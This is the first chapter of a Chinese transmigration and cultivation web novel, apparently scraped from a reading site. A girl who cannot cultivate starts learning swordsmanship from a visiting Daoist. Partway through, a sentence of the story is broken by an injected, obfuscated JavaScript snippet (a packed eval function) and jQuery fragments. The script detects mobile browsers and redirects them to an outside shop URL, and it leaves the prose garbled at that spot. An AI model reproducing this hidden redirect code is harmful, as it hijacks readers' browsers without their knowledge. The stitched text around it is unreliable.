默认冷灰
24号文字
方正启体

1. 小山村

作者:遇青本书字数:K更新时间:
    许雁归藏在村口的榕树里,倚着树干,从怀里摸出饼,慢悠悠地啃着。


    夏日里的日头燥,但猫在树荫里就没有这个烦恼,阳光把密密匝匝的枝叶照得透亮,落下些细碎的光隙,不远处的大雁湖窝在山坳里,湖面泛着粼粼的光。


    许雁归很享受这闲暇的午后,她不属于这个世界,十六年前一朝胎穿,她成了西坳子村的一员。


    没有小说里玄之又玄的情节,这世的爹娘经营一家小小的武馆,也耕田,称不上大富大贵,吃穿不愁却是真的。


    靠着边上那条官道,西山坳子村算是十里八乡有名的富村。


    许雁归就在这“富庶”的村庄里一点一点冒头长大。


    三岁扎马步,五岁练刀,学到今天也有十一年,她爹看好她,说着以后的武馆一定传到她手上。


    可惜,许雁归在什么事上的天赋都一般般,穿越前是这样,穿越后也不改初心,武学上勉勉强强说个勤劳,再说其他就勉强得过了。


    每次练完刀,惦记的只有她娘烙的五个大饼,抹上酱,吃上半刻钟,别提多舒服。


    他爹看着她叹气,想不明白问题出在哪,她娘就抡起擀面杖一敲老爷们的后脑勺,嗓门放得很大,“差不多得了嗷,能吃能睡,咱闺女就是好。”


    她爹就嘿嘿一笑,坐下来,和她凑着头吃了七个饼。


    夕阳翻在天边,一片烧得赤橙,院子里有风,门旁的枣子树叶哗啦啦响。


    当然,许雁归也不是没有挣扎过,她四岁上村里的书塾,讲课的是位女师,三十上下的年纪,讲话做事都很体面,是五年前从村外迁进来的人家,只有她一人,村长做了担保,又让人替了原本的老学士,也就是在村里扎下了根。


    女师姓沈,单名青,面容清秀,平日里说话十分温和,只要你不触犯讲堂上的纪律。


    许雁归曾想过走走科举,以自己丰富的知识储量震惊四座,少说拿个什么官当当。


    不过估计是胎穿时换个了全新的脑子,许雁归学了十几年的应试知识回忆起来跟隔了一层雾似的,想不真切。


    以上是她对自己的安慰之词,事实上,哪怕她记得一清二楚,对她来说也没有任何作用。


    光是背书上绕来绕去的圣人话语就够她头疼,更别说练出一手漂亮娟秀的字,许雁归一抓着毛笔,手就跟触电似的,一条横都能波澜起伏。


    她于是很快放弃了这个幻想,继续练她的刀。


    沈师还有些惋惜,许雁归偶尔脱口而出的话语可见是有大智慧的,就此放弃实在可惜,为此,她还寻过许雁归的爹娘。


    两人没读过两个大字,听不大懂这位夫子温温和和的话语,但怀着对学识的天然尊重,他们一应点头答下,又留了两次饭,实在不行才把沈师送出门,还硬是塞了几个鸡蛋。


    晚上,她娘整了两个鸡蛋饼推到许雁归面前,她不懂夫子的话,但总知道是在夸自家闺女,能让讲书的夫子都另眼相待,她闺女真是厉害。


    她娘笑容满面,她爹也挑着眉,神色不缺骄傲,还是他教得好呀。


    许雁归听了白日里沈师说的话,把嘴里的鸡蛋饼咽下,抹了抹嘴,“人各有志,爹娘,我真不适合读书。”


    嘴上这么说,其实心里把自己唾弃了一下,她就是不想吃学习的苦了,这里没人会说考不上大学就完蛋,没人会灌输疯狂的关键思想,她就想换一种活法。


    她爹娘听了也不生气,就是点点头,“行,你想清楚就行,闺女,你啥时候还想读书了也成,咱供得起。”


    许雁归笑眯眯,胃口大开,又盛了两碗地瓜粥,巴拉巴拉就下了肚。


    山村里的生活平淡得不可思议,许雁归又是个既来之则安之的性格,对外界的了解仅限于沈师的课堂,只知现在是大魏,外面的社会,从前的历史概不清楚。


    直到十一岁,一位客人走进村里,她才惊讶地发现原来这还是个修仙世界。


    来人自称是衡枢宗的外门弟子,下山游历,途径此处,希望暂住几日,他们谈话时在村长的屋头,村里的人得了消息都挤过来看,许雁归混在其中,扒拉开人,挤到最前头。


    “仙人”不是她想象中的模样,既不仙气飘飘,也不眉眼如月,她只穿一袭浆洗得发白的衣裳,袖子扎得利落,墨色的发扎起,垂落肩头,面色素白,双目清明,背后缚一柄剑。


    女子说她姓明,称她道长便可以,她微微颔首,说,“我见村郊有一处荒废的屋子,可否容我暂借几日。”


    许雁归一听,马上反应过来,那指是官道附近的那个破庙。


    说是破庙,也不算,原先那儿是无主的地,靠着山,耕作也不好,也就放着。


    十几年前,有一个商队到了这儿,不知为何停了下来,一停就是好几个月,甚至买了木料砖瓦砌了一间屋子,村里人都说他们怪。


    商队走之后,没留下什么,只在屋子正中的桌上放了一尊小小的泥塑的神像,所以大家也称它是个庙。


    道长在庙里住了下来,许雁归好奇,寻摸去看了几回,有好多话想问,又不知道会不会犯了忌讳。


    可道长似乎算清了这点,在许雁归又一次在门口探着半个脑袋观察,她出声叫住了人。


    这庙实在是小,一旁铺了草席子,放着两个包袱,道长从其中取了一包糕点,打开,推到许归雁面前。


    雪白方正的糕点,顶上印了几点红花,散发着甜香。


    许雁归本来想矜持,最后没有抵过美食,塞得两颊满满,果然又香又甜。


    道长见状,等她吃完,才道:“你有问题想问我?”


    许雁归忙不迭点头,她可有太多想问的了,难得道长这么热情想解答,穿越一回,她总要把这个世界探索一番。


    “世间有妖怪吗,道长,修仙都是在干什么呀,要是我想修仙的话,要怎么去呢,您看我有没有天赋?”许雁归倒豆子似的说了一大串,心里充满了对征服新世界的向往,她想或许道长就是机缘,她会就此踏入仙门,开启新旅程。


    道长的神情看不出变化,她没有立即回答,缓了片刻,才道:“灵气稀薄,能修而成大妖者少。修仙者亦食五谷,学人伦,读经书,难在驾驭灵气,循环周天,欲修仙者可自行前去宗门选拔。”


    许雁归眼睛亮晶晶,期盼着最后一个问题的答案。


    道长的话却似一盆冷水浇下来,“我探了,你先天体质不足,难以修仙。”


    许雁归眼里的星星一下坠落,砸得她头晕眼花,虽然运气一向不好,但她也没料到连穿越都只是一个无金手指无系统无天赋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202480|197253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的三无人士。


    她不死心,还问:“没有什么方法可以改变体质,或者我可以再努力一点克服天赋的短处。”


    “或许有方法,但我不曾听说。”道长平静地摇头。


    许雁归沮丧得说不出话,看来那些修仙的玄幻奇妙是与她无关了。


    道长看出了她的情绪,却没有安慰,而是问她:“你在练刀吗?”


    许雁归从刚刚的情绪里抽离出来,有点不知所以,但也乖乖点头:“我爹教我的,道长怎么知道?”


    “你手上有茧,是练刀留的,我也练过刀,你若愿意,我可以教你一招两式。”道长说道。


    “愿意愿意,道长教我,那可是万分荣幸呀。”许雁归是个既来之则安之的人,修不了仙,跟着人家学两招也好。


    她站起来,装模作样鞠了一躬,“道长教我刀法,那也算我半个师父啦。”


    道长不置可否,只嘱咐了让她每天午时三刻后来此,不要将此事对外宣扬。


    许雁归哪有不答应的,只是临走前她还有个问题:“道长你要在这里住多久?”


    “半月。”道长回答。


    半个月,那应该能学不少东西,许雁归还以为修真人忙得很,说不定什么时候就御剑飞走了。


    小姑娘满心满眼是要和修真者学刀,连跑带跳回了家,把平时练的刀擦了又擦,又开始挑衣服,翻得屋子里头尘土飞扬。


    夫妻俩哪见过女儿这阵仗,可问了,许雁归也只是模棱两可搪塞过去,道长的话她可没有忘呢。


    翌日,许雁归早早就出发了,把刀背在身后,在庙门口又整理了袖口下摆才走进去。


    道长在已经在等她了,女子盘膝坐在草席上,那柄连鞘的剑横在膝头,见她进来,只微微抬眼。


    “来得准时。”她的嗓音平和,把剑一立,起身道,“我看看你的刀。”


    许雁归赶紧解下背着的刀,双手递过去。刀身狭长平直,挺拔如尺,仅在刀尖收起弧度,如剑尖般锋利,可刺可劈。刀鞘磨损得发亮,是她爹年轻时用过的。


    明道长接过,拔出刀,垂眸扫过,最后掂了掂分量。“保养得尚可,用得也算勤。”她将刀递回,“你爹教了你什么?”


    “基础八式,还有一些步法。”许雁归老实回答,心里有些忐忑,不知道修仙者眼中的武学是什么样。


    “使一遍我看看。”道长说。


    许雁归深吸口气,有点紧张,感觉像是上台演出似的。她走到庙中稍空的地方,尽量专注,一招一式地演练起来。


    没有炫技,许雁归只是规规矩矩地把从小到大重复千百次的动作带出。招式不多,也称得上简单,只是练的多了,动作凝实连贯,勉强赞一句扎实。


    演练结束,许雁归收起刀,额间沁出了点点汗珠,她老实站着,等眼前之人的评价。


    明镜看着女孩,脸上既看不出赞赏,也没有失望,她略过了评价,直言道:“我并非要教你高深刀法。这半月,我只教你三件事,如何看,如何听,如何想。”


    接下来的日子,许雁归的生活规律起来。上午帮爹娘做些活计,偶尔也和几个小孩到山上摸野果子。不过许雁归自诩内里是个成熟灵魂,不大在孩子堆里混。


    午后便是雷打不动地去破庙。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)